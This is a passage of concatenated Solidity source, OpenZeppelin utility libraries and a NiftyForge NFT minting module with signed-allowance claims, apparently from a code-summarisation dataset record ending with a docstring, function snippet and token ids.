function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol';
import './NiftyForge/INiftyForge721.sol';
import './NiftyForge/Modules/NFBaseModule.sol';
import './NiftyForge/Modules/INFModuleTokenURI.sol';
import './NiftyForge/Modules/INFModuleWithRoyalties.sol';
import './SignedAllowance.sol';
/// @title NahikosGameModule
/// @author Simon Fremaux (@dievardump)
contract NahikosGameModule is
Ownable,
SignedAllowance,
NFBaseModule,
INFModuleTokenURI,
INFModuleWithRoyalties
{
// this is because minting is secured with a Signature
using Strings for uint256;
using ECDSA for bytes32;
// directory containing the tokens metadata
string public baseURI;
// contract on which this module is made to mint
address public nftContract;
// associates keccak256(registry, tokenId) to its type
mapping(bytes32 => uint256) public tokenTypes;
/// @notice constructor
/// @param contractURI_ The contract URI (containing its metadata) - can be empty ""
/// @param owner_ Address to whom transfer ownership (can be address(0), then owner is deployer)
/// @param nftContract_ contract on which we mint
/// @param baseURI_ the base URI for tokens
constructor(
string memory contractURI_,
address owner_,
address nftContract_,
string memory baseURI_
) NFBaseModule(contractURI_) {
if (address(0) != nftContract_) {
nftContract = nftContract_;
}
if (address(0) != owner_) {
transferOwnership(owner_);
}
baseURI = baseURI_;
}
function supportsInterface(bytes4 interfaceId)
public
view
override
returns (bool)
{
return
interfaceId == type(INFModuleWithRoyalties).interfaceId ||
interfaceId == type(INFModuleTokenURI).interfaceId ||
super.supportsInterface(interfaceId);
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
return tokenURI(msg.sender, tokenId);
}
function tokenURI(address registry, uint256 tokenId)
public
view
override
returns (string memory)
{
bytes32 key = keccak256(abi.encode(registry, tokenId));
uint256 typeId = tokenTypes[key];
// ensure that we actually have this tokenId
require(typeId != 0, '!UNKNOWN_TYPE!');
return string(abi.encodePacked(baseURI, typeId.toString()));
}
/// @inheritdoc INFModuleWithRoyalties
function royaltyInfo(uint256 tokenId)
public
view
override
returns (address, uint256)
{
return royaltyInfo(msg.sender, tokenId);
}
/// @inheritdoc INFModuleWithRoyalties
function royaltyInfo(address registry, uint256 tokenId)
public
view
override
returns (address, uint256)
{
bytes32 key = keccak256(abi.encode(registry, tokenId));
uint256 typeId = tokenTypes[key];
// ensure that we actually have this tokenId
require(typeId != 0, '!UNKNOWN_TOKEN!');
return (owner(), 500);
}
/// @notice Helper to know allowancesSigner address
/// @return the allowance signer address
function allowancesSigner() public view virtual override returns (address) {
return owner();
}
/// @notice sets contract uri
/// @param newURI the new uri
function setContractURI(string memory newURI) external onlyOwner {
_setContractURI(newURI);
}
/// @notice sets baseURI for the tokens
/// @param newURI the new baseURI
function setBaseURI(string memory newURI) external onlyOwner {
baseURI = newURI;
}
/// @notice Setter for nfts contract
/// @param nftContract_ the contract containing planets
function setNFTContract(address nftContract_) external onlyOwner {
nftContract = nftContract_;
}
/// @notice Claiming function
/// @param to the minter
/// @param typeId the type of token (this is also the nonce)
/// @param signature the signature for the mint
function claim(
address to,
uint256 typeId,
bytes memory signature
) external payable {
require(typeId != 0, '!UNKNOWN_TYPE!');
// will validate the signature & mark this (account, nonce) used
_useAllowance(to, typeId, signature);
uint256 tokenId = INiftyForge721(nftContract).mint(
to,
'',
address(0),
0,
address(0)
);
// now associate [nftContract][tokenId] with typeId
bytes32 key = keccak256(abi.encode(nftContract, tokenId));
tokenTypes[key] = typeId;
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
/// @title INiftyForge721
/// @author Simon Fremaux (@dievardump)
interface INiftyForge721 {
struct ModuleInit {
address module;
bool enabled;
bool minter;
}
/// @notice totalSupply access
function totalSupply() external view returns (uint256);
/// @notice helper to know if everyone can mint or only minters
function isMintingOpenToAll() external view returns (bool);
/// @notice Toggle minting open to all state
/// @param isOpen if the new state is open or not
function setMintingOpenToAll(bool isOpen) external;
/// @notice Mint token to `to` with `uri`
/// @param to address of recipient
/// @param uri token metadata uri
/// @param feeRecipient the recipient of royalties
/// @param feeAmount the royalties amount. From 0 to 10000
/// where 10000 == 100.00%; 1000 == 10.00%; 250 == 2.50%
/// @param transferTo the address to transfer the NFT to after mint
/// this is used when we want to mint the NFT to the creator address
/// before transferring it to a recipient
/// @return tokenId the tokenId
function mint(
address to,
string memory uri,
address feeRecipient,
uint256 feeAmount,
address transferTo
) external returns (uint256 tokenId);
/// @notice Mint batch tokens to `to[i]` with `uri[i]`
/// @param to array of address of recipients
/// @param uris array of token metadata uris
/// @param feeRecipients the recipients of royalties for each id
/// @param feeAmounts the royalties amounts for each id. From 0 to 10000
/// where 10000 == 100.00%; 1000 == 10.00%; 250 == 2.50%
/// @return tokenIds the tokenIds
function mintBatch(
address[] memory to,
string[] memory uris,
address[] memory feeRecipients,
uint256[] memory feeAmounts
) external returns (uint256[] memory tokenIds);
/// @notice Mint `tokenId` to to` with `uri`
/// Because not all tokenIds have incremental ids
/// be careful with this function, it does not increment lastTokenId
/// and expects the minter to actually know what it is doing.
/// this also means, this function does not verify _maxTokenId
/// @param to address of recipient
/// @param uri token metadata uri
/// @param tokenId token id wanted
/// @param feeRecipient the recipient of royalties
/// @param feeAmount the royalties amount. From 0 to 10000
/// where 10000 == 100.00%; 1000 == 10.00%; 250 == 2.50%
/// @param transferTo the address to transfer the NFT to after mint
/// this is used when we want to mint the NFT to the creator address
/// before transferring it to a recipient
/// @return tokenId the tokenId
function mint(
address to,
string memory uri,
uint256 tokenId_,
address feeRecipient,
uint256 feeAmount,
address transferTo
) external returns (uint256 tokenId);
/// @notice Mint batch tokens to `to[i]` with `uris[i]`
/// Because not all tokenIds have incremental ids
/// be careful with this function, it does not increment lastTokenId
/// and expects the minter to actually know what it's doing.
/// this also means, this function does not verify _maxTokenId
/// @param to array of address of recipients
/// @param uris array of token metadata uris
/// @param tokenIds array of token ids wanted
/// @param feeRecipients the recipients of royalties for each id
/// @param feeAmounts the royalties amounts for each id. From 0 to 10000
/// where 10000 == 100.00%; 1000 == 10.00%; 250 == 2.50%
/// @return tokenIds the tokenIds
function mintBatch(
address[] memory to,
string[] memory uris,
uint256[] memory tokenIds,
address[] memory feeRecipients,
uint256[] memory feeAmounts
) external returns (uint256[] memory);
/// @notice Attach a module
/// @param module a module to attach
/// @param enabled if the module is enabled by default
/// @param canModuleMint if the module has to be given the minter role
function attachModule(
address module,
bool enabled,
bool canModuleMint
) external;
/// @dev Allows owner to enable a module
/// @param module to enable
/// @param canModuleMint if the module has to be given the minter role
function enableModule(address module, bool canModuleMint) external;
/// @dev Allows owner to disable a module
/// @param module to disable
function disableModule(address module, bool keepListeners) external;
/// @notice function that returns a string that can be used to render the current token
/// @param tokenId tokenId
/// @return the URI to render token
function renderTokenURI(uint256 tokenId)
external
view
returns (string memory);
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/utils/introspection/IERC165.sol';
interface INFModule is IERC165 {
/// @notice Called by a Token Registry whenever the module is Attached
/// @return if the attach worked
function onAttach() external returns (bool);
/// @notice Called by a Token Registry whenever the module is Enabled
/// @return if the enabling worked
function onEnable() external returns (bool);
/// @notice Called by a Token Registry whenever the module is Disabled
function onDisable() external;
/// @notice returns an URI with information about the module
/// @return the URI where to find information about the module
function contractURI() external view returns (string memory);
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './INFModule.sol';
interface INFModuleTokenURI is INFModule {
function tokenURI(uint256 tokenId) external view returns (string memory);
function tokenURI(address registry, uint256 tokenId)
external
view
returns (string memory);
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './INFModule.sol';
interface INFModuleWithRoyalties is INFModule {
/// @notice Return royalties (recipient, basisPoint) for tokenId
/// @dev Contrary to EIP2981, modules are expected to return basisPoint for second parameters
/// This in order to allow right royalties on marketplaces not supporting 2981 (like Rarible)
/// @param tokenId token to check
/// @return recipient and basisPoint for this tokenId
function royaltyInfo(uint256 tokenId)
external
view
returns (address recipient, uint256 basisPoint);
/// @notice Return royalties (recipient, basisPoint) for tokenId
/// @dev Contrary to EIP2981, modules are expected to return basisPoint for second parameters
/// This in order to allow right royalties on marketplaces not supporting 2981 (like Rarible)
/// @param registry registry to check id of
/// @param tokenId token to check
/// @return recipient and basisPoint for this tokenId
function royaltyInfo(address registry, uint256 tokenId)
external
view
returns (address recipient, uint256 basisPoint);
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/utils/structs/EnumerableSet.sol';
import '@openzeppelin/contracts/utils/introspection/ERC165.sol';
import './INFModule.sol';
/// @title NFBaseModule
/// @author Simon Fremaux (@dievardump)
contract NFBaseModule is INFModule, ERC165 {
using EnumerableSet for EnumerableSet.AddressSet;
EnumerableSet.AddressSet internal _attached;
event NewContractURI(string contractURI);
string private _contractURI;
modifier onlyAttached(address registry) {
require(_attached.contains(registry), '!NOT_ATTACHED!');
_;
}
constructor(string memory contractURI_) {
_setContractURI(contractURI_);
}
/// @inheritdoc INFModule
function contractURI() external view override returns (string memory) {
return _contractURI;
}
/// @inheritdoc INFModule
function onAttach() external override returns (bool) {
if (_attached.add(msg.sender)) {
return true;
}
revert('!ALREADY_ATTACHED!');
}
/// @notice this contract doesn't really care if it's enabled or not
/// since trying to mint on a contract where it's not enabled will fail
/// @inheritdoc INFModule
function onEnable() external pure override returns (bool) {
return true;
}
/// @inheritdoc INFModule
function onDisable() external override {}
function _setContractURI(string memory contractURI_) internal {
_contractURI = contractURI_;
emit NewContractURI(contractURI_);
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol';
/// @title SignedAllowance
/// @author Simon Fremaux (@dievardump)
contract SignedAllowance {
using ECDSA for bytes32;
// list of already used allowances
mapping(bytes32 => bool) public usedAllowances;
// address used to sign the allowances
address private _allowancesSigner;
/// @notice Helper to know allowancesSigner address
/// @return the allowance signer address
function allowancesSigner() public view virtual returns (address) {
return _allowancesSigner;
}
/// @notice Helper that creates the message that signer needs to sign to allow a mint
/// this is usually also used when creating the allowances, to ensure "message"
/// is the same
/// @param account the account to allow
/// @param nonce the nonce
/// @return the message to sign
function createMessage(address account, uint256 nonce)
public
view
returns (bytes32)
{
return keccak256(abi.encode(account, nonce, address(this)));
}
/// @notice Helper that creates a list of messages that signer needs to sign to allow mintings
/// @param accounts the accounts to allow
/// @param nonces the corresponding nonces
/// @return messages the messages to sign
function createMessages(address[] memory accounts, uint256[] memory nonces)
external
view
returns (bytes32[] memory messages)
{
require(accounts.length == nonces.length, '!LENGTH_MISMATCH!');
messages = new bytes32[](accounts.length);
for (uint256 i; i < accounts.length; i++) {
messages[i] = createMessage(accounts[i], nonces[i]);
}
}
/// @notice This function verifies that the current request is valid
/// @dev It ensures that _allowancesSigner signed a message containing (account, nonce, address(this))
/// and that this message was not already used
/// @param account the account the allowance is associated to
/// @param nonce the nonce associated to this allowance
/// @param signature the signature by the allowance signer wallet
/// @return the message to mark as used
function validateSignature(
address account,
uint256 nonce,
bytes memory signature
) public view returns (bytes32) {
bytes32 message = createMessage(account, nonce)
.toEthSignedMessageHash();
// verifies that the sha3(account, nonce, address(this)) has been signed by _allowancesSigner
require(
message.recover(signature) == allowancesSigner(),
'!INVALID_SIGNATURE!'
);
require(usedAllowances[message] == false, '!ALREADY_USED!');
return message;
}
/// @notice internal function that verifies an allowance and marks it as used
/// this function throws if signature is wrong or this nonce for this user has already been used
/// @param account the account the allowance is associated to
/// @param nonce the nonce
/// @param signature the signature by the allowance wallet
function _useAllowance(
address account,
uint256 nonce,
bytes memory signature
) internal {
bytes32 message = validateSignature(account, nonce, signature);
usedAllowances[message] = true;
}
/// @notice Allows to change the allowance signer. This can be used to revoke any signed allowance not already used
/// @param newSigner the new signer address
function _setAllowancesSigner(address newSigner) internal {
_allowancesSigner = newSigner;
}
} | @notice Helper to know allowancesSigner address @return the allowance signer address | function allowancesSigner() public view virtual override returns (address) {
return owner();
}
| 495,798 | [
1,
2276,
358,
5055,
1699,
6872,
15647,
1758,
327,
326,
1699,
1359,
10363,
1758,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
